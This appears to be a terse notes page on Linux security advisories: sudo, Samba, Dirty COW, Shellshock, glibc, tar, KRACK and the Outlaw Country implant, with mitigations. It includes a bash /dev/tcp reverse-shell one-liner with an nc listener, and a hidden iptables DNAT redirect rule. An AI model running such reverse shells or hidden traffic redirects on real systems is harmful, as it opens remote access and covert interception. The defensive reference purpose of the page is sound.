Table of Contents

github advisories

SUDO CVE-2021-3156

https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt

Show CPU bugs on Linux

```
cat /sys/devices/system/cpu/vulnerabilities/*
```

Run BASH and connect outside

You need to compiled bash with –enable-net-redirections option.

```
/bin/bash -c '/bin/bash -i > /dev/tcp/127.0.0.1/8181 0<&1 2>&1&'
/bin/bash -i >& /dev/tcp/127.0.0.1/8181 0>&1
```

```
nc -nlvp 8181
```

Samba CVE-2017-14746

4.0.0+ < 4.7.3
You can disable SMB1 protocol

```
server min protocol = SMB2
```

Krack WPA2 Wifi Attack

Clients are vulnerable. Access point no, if doesn't use roaming or client mode.
Clients can be disconnected automatically by running this script on AP.

Outlaw Country

```
lsmod | grep nf_table
```

Module name	Size	MD5
nf_table_6_64.ko	9672	2CB8954A3E683477AA5A084964D4665D

Hidden iptables rule **dpxvke8h18**

```
iptables -t dpxvke8h18 -A PREROUTING \
-p tcp -s 1.1.1.1 -d 2.2.2.2 --dport 33 \
-j DNAT --to-destination 4.4.4.4:55
```

TCP traffic from IP 1.1.1.1 that is bound for IP 2.2.2.2, port 33. The traffic is redirected to IP 4.4.4.4, port 55

Samba CVE-2017–7494

Samba 3.5.0+

Workaround

```
[global]
nt pipe support = no
```

Dirty COW CVE-2016-5195

Logged in user

Impact	Place	Complexity
Local escalation	Kernel 2.6.22 - and up to 10/2016	Very Low

Shellshock CVE-2014-7169

Remote bash call or local user attack

Impact	Place	Complexity
Network escalation	Bash	Medium

GLIBC CVE-2015-7547

By reverse DNS queries

Impact	Place	Complexity
Network escalation	GLIBC / Many linked SW	High

Pointy Feather CVE-2016-6321

Malicious TAR file

Impact	Place	Complexity
File Overwrite	GNU tar 1.14 – 1.29	Medium